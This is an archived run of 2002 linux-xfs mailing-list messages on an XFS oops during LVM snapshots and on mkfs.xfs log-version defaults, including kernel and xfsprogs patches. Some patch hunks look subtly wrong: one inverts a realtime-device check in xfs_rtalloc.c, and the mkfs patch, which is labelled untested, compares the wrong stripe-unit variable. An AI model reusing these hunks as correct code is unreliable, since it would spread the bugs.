www.NorcrossGroup.com -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Wed Aug 14 10:34:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EHYVRw007356 for ; Wed, 14 Aug 2002 10:34:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EHYVDO007355 for linux-xfs-outgoing; Wed, 14 Aug 2002 10:34:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EHY3Rw007316 for ; Wed, 14 Aug 2002 10:34:04 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17f24N-0005Ym-00; Wed, 14 Aug 2002 18:36:31 +0100 Date: Wed, 14 Aug 2002 18:36:31 +0100 From: Christoph Hellwig To: Steve Lord Cc: Erik Tews , linux-xfs@oss.sgi.com, lvm-devel@sistina.com Subject: Re: oops when creating an lvm-snapshot Message-ID: <20020814183631.A21357@infradead.org> References: <20020814170120.GA23422@no-maam.dyndns.org> <1029344832.15672.90.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1029344832.15672.90.camel@jen.americas.sgi.com>; from lord@sgi.com on Wed, Aug 14, 2002 at 12:07:12PM -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, Aug 14, 2002 at 12:07:12PM -0500, Steve Lord wrote: > I think this is regression introduced yesterday, we changed some > structures around. Try editing fs/xfs/xfs_fsops.c > > Look for this code around line 580: > > if (mp->m_rtdev != 0) { > xfs_binval(mp->m_rtdev_targp); > } > > Change it to: > > if (mp->m_rtdev_targp) { > xfs_binval(mp->m_rtdev_targp); > } > > and see if that fixes it for you. There are a few more of those. Having the basically unused m_rtdev beeing an pointer to nothing in some situation was a rather bad design by me. The patch below kills m_rtdev and m_logdev entirely. m_dev stays for now as it must always be a valid pointer and we use it a lot. Index: fs/xfs/xfs_fsops.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfs_fsops.c,v retrieving revision 1.84 diff -u -p -r1.84 xfs_fsops.c --- fs/xfs/xfs_fsops.c 2002/08/13 16:09:38 1.84 +++ fs/xfs/xfs_fsops.c 2002/08/14 17:29:48 @@ -577,7 +577,7 @@ xfs_fs_freeze( /* Push all buffers out to disk */ xfs_binval(mp->m_ddev_targp); - if (mp->m_rtdev != 0) { + if (mp->m_rtdev_targp) { xfs_binval(mp->m_rtdev_targp); } Index: fs/xfs/xfs_mount.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfs_mount.c,v retrieving revision 1.295 diff -u -p -r1.295 xfs_mount.c --- fs/xfs/xfs_mount.c 2002/08/13 16:09:38 1.295 +++ fs/xfs/xfs_mount.c 2002/08/14 17:29:49 @@ -203,12 +203,12 @@ xfs_mount_validate_sb( return XFS_ERROR(EWRONGFS); } - if (sbp->sb_logstart == 0 && mp->m_logdev == mp->m_dev) { + if (sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp) { cmn_err(CE_WARN, "XFS: filesystem is marked as having an external log; specify logdev on the\nmount command line."); return XFS_ERROR(EFSCORRUPTED); } - if (sbp->sb_logstart != 0 && mp->m_logdev && mp->m_logdev != mp->m_dev) { + if (sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp) { cmn_err(CE_WARN, "XFS: filesystem is marked as having an internal log; don't specify logdev on\nthe mount command line."); return XFS_ERROR(EFSCORRUPTED); } @@ -764,7 +764,7 @@ xfs_mountfs( } if (!noio && ((mfsi_flags & XFS_MFSI_CLIENT) == 0) && - mp->m_logdev && mp->m_logdev != mp->m_dev) { + mp->m_logdev_targp != mp->m_ddev_targp) { d = (xfs_daddr_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); if (XFS_BB_TO_FSB(mp, d) != mp->m_sb.sb_logblocks) { cmn_err(CE_WARN, "XFS: size check 3 failed"); @@ -882,7 +882,7 @@ xfs_mountfs( * log's mount-time initialization. Perform 1st part recovery if needed */ if (sbp->sb_logblocks > 0) { /* check for volume case */ - error = xfs_log_mount(mp, mp->m_logdev, + error = xfs_log_mount(mp, mp->m_logdev_targp->pbr_dev, XFS_FSB_TO_DADDR(mp, sbp->sb_logstart), XFS_FSB_TO_BB(mp, sbp->sb_logblocks)); if (error) { @@ -935,7 +935,7 @@ xfs_mountfs( if (((quotaondisk && !XFS_IS_QUOTA_ON(mp)) || (!quotaondisk && XFS_IS_QUOTA_ON(mp))) && - (is_read_only(mp->m_dev) || is_read_only(mp->m_logdev))) { + (is_read_only(mp->m_dev) || is_read_only(mp->m_logdev_targp->pbr_dev))) { cmn_err(CE_WARN, "XFS: device %s is read-only, cannot change " "quota state. Please mount with%s quota option.", Index: fs/xfs/xfs_mount.h =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfs_mount.h,v retrieving revision 1.154 diff -u -p -r1.154 xfs_mount.h --- fs/xfs/xfs_mount.h 2002/08/13 16:09:38 1.154 +++ fs/xfs/xfs_mount.h 2002/08/14 17:29:50 @@ -190,8 +190,6 @@ typedef struct xfs_mount { xfs_buftarg_t *m_logdev_targp;/* ptr to log device */ xfs_buftarg_t *m_rtdev_targp; /* ptr to rt device */ #define m_dev m_ddev_targp->pbr_dev -#define m_logdev m_logdev_targp->pbr_dev -#define m_rtdev m_rtdev_targp->pbr_dev __uint8_t m_dircook_elog; /* log d-cookie entry bits */ __uint8_t m_blkbit_log; /* blocklog + NBBY */ __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ Index: fs/xfs/xfs_rtalloc.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfs_rtalloc.c,v retrieving revision 1.77 diff -u -p -r1.77 xfs_rtalloc.c --- fs/xfs/xfs_rtalloc.c 2002/08/13 16:09:38 1.77 +++ fs/xfs/xfs_rtalloc.c 2002/08/14 17:29:52 @@ -1917,7 +1917,7 @@ xfs_growfs_rt( /* * Initial error checking. */ - if (mp->m_rtdev == 0 || mp->m_rbmip == NULL || + if (mp->m_rtdev_targp || mp->m_rbmip == NULL || (nrblocks = in->newblocks) <= sbp->sb_rblocks || (sbp->sb_rblocks && (in->extsize != sbp->sb_rextsize))) return XFS_ERROR(EINVAL); @@ -2264,7 +2264,7 @@ xfs_rtmount_init( sbp = &mp->m_sb; if (sbp->sb_rblocks == 0) return 0; - if (mp->m_rtdev != 0) { + if (mp->m_rtdev_targp != NULL) { printk(KERN_WARNING "XFS: This FS has an RT subvol - specify -o rtdev on mount\n"); return XFS_ERROR(ENODEV); Index: fs/xfs/xfs_vfsops.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfs_vfsops.c,v retrieving revision 1.368 diff -u -p -r1.368 xfs_vfsops.c --- fs/xfs/xfs_vfsops.c 2002/08/13 16:09:38 1.368 +++ fs/xfs/xfs_vfsops.c 2002/08/14 17:29:53 @@ -1616,7 +1616,7 @@ xfs_syncsub( */ if ((flags & (SYNC_CLOSE|SYNC_WAIT)) == (SYNC_CLOSE|SYNC_WAIT)) { XFS_bflush(mp->m_ddev_targp); - if (mp->m_rtdev != 0) { + if (mp->m_rtdev_targp) { XFS_bflush(mp->m_rtdev_targp); } } Index: fs/xfs/xfsidbg.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfsidbg.c,v retrieving revision 1.194 diff -u -p -r1.194 xfsidbg.c --- fs/xfs/xfsidbg.c 2002/08/09 14:23:41 1.194 +++ fs/xfs/xfsidbg.c 2002/08/14 17:29:57 @@ -4437,8 +4437,10 @@ xfsidbg_xmount(xfs_mount_t *mp) kdb_printf("ail_gen 0x%x &sb 0x%p\n", mp->m_ail_gen, &mp->m_sb); kdb_printf("sb_lock 0x%p sb_bp 0x%p dev 0x%x logdev 0x%x rtdev 0x%x\n", - &mp->m_sb_lock, mp->m_sb_bp, mp->m_dev, mp->m_logdev, - mp->m_rtdev); + &mp->m_sb_lock, mp->m_sb_bp, + mp->m_ddev_targp->pbr_dev, + mp->m_logdev_targp->pbr_dev, + mp->m_rtdev_targp->pbr_dev); kdb_printf("bsize %d agfrotor %d agirotor %d ihash 0x%p ihsize %d\n", mp->m_bsize, mp->m_agfrotor, mp->m_agirotor, mp->m_ihash, mp->m_ihsize); Index: fs/xfs/linux/xfs_lrw.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/linux/xfs_lrw.c,v retrieving revision 1.164 diff -u -p -r1.164 xfs_lrw.c --- fs/xfs/linux/xfs_lrw.c 2002/08/13 16:09:38 1.164 +++ fs/xfs/linux/xfs_lrw.c 2002/08/14 17:29:59 @@ -1785,7 +1785,7 @@ XFS_log_write_unmount_ro(bhv_desc_t *bdp STATIC int xfs_is_read_only(xfs_mount_t *mp) { - if (is_read_only(mp->m_dev) || is_read_only(mp->m_logdev)) { + if (is_read_only(mp->m_dev) || is_read_only(mp->m_logdev_targp->pbr_dev)) { cmn_err(CE_NOTE, "XFS: write access unavailable, cannot proceed."); return EROFS; From owner-linux-xfs@oss.sgi.com Wed Aug 14 10:56:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EHu6Rw008176 for ; Wed, 14 Aug 2002 10:56:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EHu6uR008175 for linux-xfs-outgoing; Wed, 14 Aug 2002 10:56:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta03.algx.net (chimta03.algx.net [216.99.233.78]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EHu1Rw008138 for ; Wed, 14 Aug 2002 10:56:01 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx03.algx.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H0U0054FFME4U@chimmx03.algx.net> for linux-xfs@oss.sgi.com; Wed, 14 Aug 2002 12:08:39 -0500 (CDT) Date: Wed, 14 Aug 2002 13:08:38 -0400 From: Danny Cox Subject: Re: Problem repairing filesystem In-reply-to: <1029341086.18360.61.camel@jen.americas.sgi.com> To: Steve Lord Cc: Luciano Chavez , XFS Mailing List Message-id: <1029344919.1364.14.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain Content-transfer-encoding: 7BIT References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> <1029341086.18360.61.camel@jen.americas.sgi.com> X-Spam-Status: No, hits=-4.3 required=5.0 tests=IN_REP_TO,PORN_10 version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Steve, On Wed, 2002-08-14 at 12:04, Steve Lord wrote: > The version I have will default to version 2 if -l sunit=xxx is on the > command line, not sure if it will do it if the device itself returns > a stripe unit. Will have to check on that. I just updated from CVS this AM, and my mkfs.xfs only sets the log_version = 2 if su or sunit is specified on the command line. The code that grabs su and sunit occurs *after* that, so log_version remains 1. I'd think it'd be easy to fix.... Do you want me to give it a whirl, and post an attempt at a patch? -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Wed Aug 14 11:04:37 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EI4bRw009922 for ; Wed, 14 Aug 2002 11:04:37 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EI4bPW009921 for linux-xfs-outgoing; Wed, 14 Aug 2002 11:04:37 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EI4PRw009893 for ; Wed, 14 Aug 2002 11:04:26 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7EI6sGm031485; Wed, 14 Aug 2002 20:06:57 +0200 (CEST) Message-Id: <4.3.2.7.2.20020814195444.03a40fb8@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Aug 2002 20:04:01 +0200 To: Paul Schutte From: Seth Mos Subject: Re: Problem repairing filesystem Cc: XFS mailing list In-Reply-To: <3D5A5D5D.AEE17BD8@up.ac.za> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 15:38 14-8-2002 +0200, Paul Schutte wrote: >software RAID5 with internal log using postmark v1.5 >Time: > 6186 seconds total > 5840 seconds of transactions (17 per second) Seems reasonable for an internal log. You could try the new software raid with the v2 logging code which should prove a big help. >hardware raid5 using postmark v1.5: >Time: > 749 seconds total > 709 seconds of transactions (141 per second) > > >Good question. >That was the whole idea, but I it did'nt work out in practice. >I am not sure why. I think it is the drive write caching. Someone with a 3ware raid controller also had problems with data corruption after poweroff. Older 3ware controllers had problems with disk failures in raid5 and corruption. I am not that familiar with the adaptec controller though, maybe I'm paranoid. > > I understand that the machine did not boot anymore after the crash? Can it > > be that the drive had write caching which made it fail horribly in the end > > and crashed the machine? > >The controller was set not to cache writes, but I don't know what the >controller did with each drive. If it doesn't disable the write cache of the drive the raid5 is just a useless as using the controller caching without the battery backup. >It never lost power, so write caching should not be a problem. >It took 2 days to get the new harddisk and only then did we switch it off. If the disk failed to write the contents which could be in the onboard buffer the controller alreay would have signalled the OS that data was succesfully written while in fact it was working with a in memory (controller) >It did boot, but crashed almost immediatly. >You can't repair a xfs root partittion without a rescue disk and therefore >the nfs trick. I commonly use the Linuxcare boot disk since it is small and has all the utilities I need. And I can copy a newer xfs_repair over by using scp. Same goal different method :-) >Was the kernel running. It was 1-1 backported to 2.4.9 by SGI ? I actually meant the 2.4.18 release but I don't know about the other, I guess that once was an errata kernel. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 11:48:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EIm5Rw010693 for ; Wed, 14 Aug 2002 11:48:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EIm5bV010692 for linux-xfs-outgoing; Wed, 14 Aug 2002 11:48:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EIlwRw010664 for ; Wed, 14 Aug 2002 11:47:59 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA32673 for ; Wed, 14 Aug 2002 13:50:26 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA26277 for ; Wed, 14 Aug 2002 13:50:25 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7EImPo28664; Wed, 14 Aug 2002 13:48:25 -0500 Message-Id: <200208141848.g7EImPo28664@jen.americas.sgi.com> Date: Wed, 14 Aug 2002 13:48:25 -0500 Subject: TAKE - fix unchecked pointer dereferences To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Fix regression which came in yesterday, the oops during a freeze call was this problem. Date: Wed Aug 14 11:49:40 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125083a linux/fs/xfs/xfsidbg.c - 1.195 linux/fs/xfs/xfs_rtalloc.c - 1.78 linux/fs/xfs/xfs_vfsops.c - 1.369 linux/fs/xfs/xfs_mount.h - 1.155 linux/fs/xfs/xfs_mount.c - 1.296 linux/fs/xfs/xfs_fsops.c - 1.85 linux/fs/xfs/linux/xfs_lrw.c - 1.165 From owner-linux-xfs@oss.sgi.com Wed Aug 14 12:37:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EJbYRw012067 for ; Wed, 14 Aug 2002 12:37:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EJbYFn012066 for linux-xfs-outgoing; Wed, 14 Aug 2002 12:37:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EJbJRw012031 for ; Wed, 14 Aug 2002 12:37:19 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA33096; Wed, 14 Aug 2002 14:39:46 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA89478; Wed, 14 Aug 2002 14:39:45 -0500 (CDT) Subject: Re: Problem repairing filesystem From: Eric Sandeen To: Danny Cox Cc: Steve Lord , Luciano Chavez , XFS Mailing List In-Reply-To: <1029344919.1364.14.camel@wiley> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> <1029341086.18360.61.camel@jen.americas.sgi.com> <1029344919.1364.14.camel@wiley> Content-Type: multipart/mixed; boundary="=-BL7kccgIJsDbhQTe8ioM" X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 14 Aug 2002 14:34:10 -0500 Message-Id: <1029353651.21251.100.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-9.4 required=5.0 tests=IN_REP_TO,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-BL7kccgIJsDbhQTe8ioM Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Danny - I started looking at this before I saw your email... want to take a look at my patch, and tweak as necessary? Not tested, but it compiles. :) -Eric On Wed, 2002-08-14 at 12:08, Danny Cox wrote: > I just updated from CVS this AM, and my mkfs.xfs only sets the > log_version = 2 if su or sunit is specified on the command line. The > code that grabs su and sunit occurs *after* that, so log_version remains > 1. > > I'd think it'd be easy to fix.... Do you want me to give it a whirl, > and post an attempt at a patch? -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 --=-BL7kccgIJsDbhQTe8ioM Content-Disposition: attachment; filename=xfs_mkfs.patch Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; name=xfs_mkfs.patch; charset=ISO-8859-1 --- /usr/tmp/TmpDir.26947-0/cmd/xfsprogs/mkfs/xfs_mkfs.c_1.34 Wed Aug 14 14= :13:59 2002 +++ cmd/xfsprogs/mkfs/xfs_mkfs.c Wed Aug 14 13:57:11 2002 @@ -439,6 +439,7 @@ int dsw; int dsunit; int dswidth; + int dummy1; int extent_flagging; int force_overwrite; int i; @@ -496,6 +497,7 @@ libxfs_init_t xi; int xlv_dsunit; int xlv_dswidth; + int xlv_lsunit; =20 progname =3D basename(argv[0]); agcount =3D 8; @@ -1173,7 +1175,7 @@ * and the underlying volume is striped, then set rtextblocks * to the stripe width. */ - int dummy1, rswidth; + int rswidth; __uint64_t rtextbytes; dummy1 =3D rswidth =3D 0; =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 @@ -1589,6 +1591,25 @@ nodsflag =3D 1; } =20 + xlv_lsunit =3D dummy1 =3D 0; + if (!xi.lisfile) + get_subvol_stripe_wrapper(dfile, SVTYPE_LOG, &xlv_lsunit,=20 + &dummy1); + if (xlv_lsunit) { + fprintf(stderr, "log volume is striped, using v2 logs\n"); + logversion =3D 2; + } + + if (lsunit) { + if (xlv_dsunit && xlv_dsunit !=3D lsunit) { + fprintf(stderr, "%s: " + "Specified log stripe unit %d is not the same as the xlv stripe unit %d\= n",=20 + progname, lsunit, xlv_lsunit); + } + } else { + lsunit =3D xlv_lsunit; /* ignored for v1 logs */ + } + /* * If dsunit is a multiple of fs blocksize, then check that is a * multiple of the agsize too --=-BL7kccgIJsDbhQTe8ioM-- From owner-linux-xfs@oss.sgi.com Wed Aug 14 12:44:10 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EJiARw012284 for ; Wed, 14 Aug 2002 12:44:10 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EJi9V7012283 for linux-xfs-outgoing; Wed, 14 Aug 2002 12:44:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta04.algx.net (chimta04.algx.net [216.99.233.79]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EJi4Rw012255 for ; Wed, 14 Aug 2002 12:44:04 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx04.algx.net (iPlanet Messaging Server 5.1 HotFix 0.6 (built Apr 26 2002)) with ESMTP id <0H0U00IAEMXM3V@chimmx04.algx.net> for linux-xfs@oss.sgi.com; Wed, 14 Aug 2002 14:46:35 -0500 (CDT) Date: Wed, 14 Aug 2002 15:46:34 -0400 From: Danny Cox Subject: Re: Problem repairing filesystem In-reply-to: <1029353651.21251.100.camel@stout.americas.sgi.com> To: Eric Sandeen Cc: Steve Lord , Luciano Chavez , XFS Mailing List Message-id: <1029354395.1151.18.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain Content-transfer-encoding: 7BIT References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> <1029341086.18360.61.camel@jen.americas.sgi.com> <1029344919.1364.14.camel@wiley> <1029353651.21251.100.camel@stout.americas.sgi.com> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eric, On Wed, 2002-08-14 at 15:34, Eric Sandeen wrote: > Hi Danny - I started looking at this before I saw your email... want to > take a look at my patch, and tweak as necessary? Not tested, but it > compiles. :) I'd sooner trust your code than mine ;-). It looks good to me. I've not tried it, but I'd expect it to "do the right thing". -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Wed Aug 14 12:58:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EJw5Rw012905 for ; Wed, 14 Aug 2002 12:58:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EJw55d012904 for linux-xfs-outgoing; Wed, 14 Aug 2002 12:58:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from homer.coredp.com (homer.coredp.com [216.94.116.130]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EJw0Rw012876 for ; Wed, 14 Aug 2002 12:58:00 -0700 Received: from toast.coredp.com (toast.coredp.com [216.94.116.132]) by homer.coredp.com (8.9.1/8.9.1) with ESMTP id QAA03268 for ; Wed, 14 Aug 2002 16:07:11 -0400 (EDT) Received: from coredp.com (localhost [127.0.0.1]) by toast.coredp.com (SGI-8.9.3/8.9.3) with ESMTP id QAA96207 for ; Wed, 14 Aug 2002 16:07:10 -0400 (EDT) Message-ID: <3D5AB86E.714A75B3@coredp.com> Date: Wed, 14 Aug 2002 16:07:10 -0400 From: Andrew Ho Organization: C.O.R.E. Digital Pictures Inc. X-Mailer: Mozilla 4.7C-SGI [en] (X11; I; IRIX64 6.5 IP30) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: xfs filesystem with low-latency Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, Is there any xfs patches with low-latency? Thanks, aho From owner-linux-xfs@oss.sgi.com Wed Aug 14 13:20:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EKKHRw013479 for ; Wed, 14 Aug 2002 13:20:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EKKGn0013478 for linux-xfs-outgoing; Wed, 14 Aug 2002 13:20:16 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EKK1Rw013443 for ; Wed, 14 Aug 2002 13:20:01 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7EKM5jI011040; Wed, 14 Aug 2002 16:22:06 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7EKM3qq047874; Wed, 14 Aug 2002 16:22:03 -0400 Subject: Re: Problem repairing filesystem From: Luciano Chavez To: Eric Sandeen Cc: Danny Cox , Steve Lord , XFS Mailing List In-Reply-To: <1029353651.21251.100.camel@stout.americas.sgi.com> References: <4.3.2.7.2.20020814140949.03bba840@pop.xs4all.nl> <3D5A5D5D.AEE17BD8@up.ac.za> <3D5A736B.99998201@ch.sauter-bc.com> <1029339359.18361.36.camel@jen.americas.sgi.com> <1029340818.2690.21.camel@chavez> <1029341086.18360.61.camel@jen.americas.sgi.com> <1029344919.1364.14.camel@wiley> <1029353651.21251.100.camel@stout.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 15:17:39 -0500 Message-Id: <1029356261.2342.34.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-08-14 at 14:34, Eric Sandeen wrote: > Hi Danny - I started looking at this before I saw your email... want to > take a look at my patch, and tweak as necessary? Not tested, but it > compiles. :) Eric, Tried the patch on an EVMS device and got the following when the stripe info is returned for the device: # mkfs.xfs -f /dev/evms/vol19 log volume is striped, using v2 logs meta-data=/dev/evms/vol19 isize=256 agcount=8, agsize=32881 blks data = bsize=4096 blocks=263048, imaxpct=25 = sunit=1 swidth=1 blks, unwritten=0 naming =version 2 bsize=4096 log =internal log bsize=4096 blocks=1200, version=2 = sunit=1 blks realtime =none extsz=4096 blocks=0, rtextents=0 On other non-EVMS devices, oddly enough if you specify -d sunit=x,swidth=y, the log sunit is set but version 1 log is used. If you explicitly use -l sunit=x then the log version is set to 2. I think if you explicitly specify -d sunit,swidth, it should behave as when the device returns stripe info. That is, the log version should be set to 2 as well. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net From owner-linux-xfs@oss.sgi.com Wed Aug 14 14:29:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7ELTHRw014436 for ; Wed, 14 Aug 2002 14:29:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7ELTHim014435 for linux-xfs-outgoing; Wed, 14 Aug 2002 14:29:17 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from 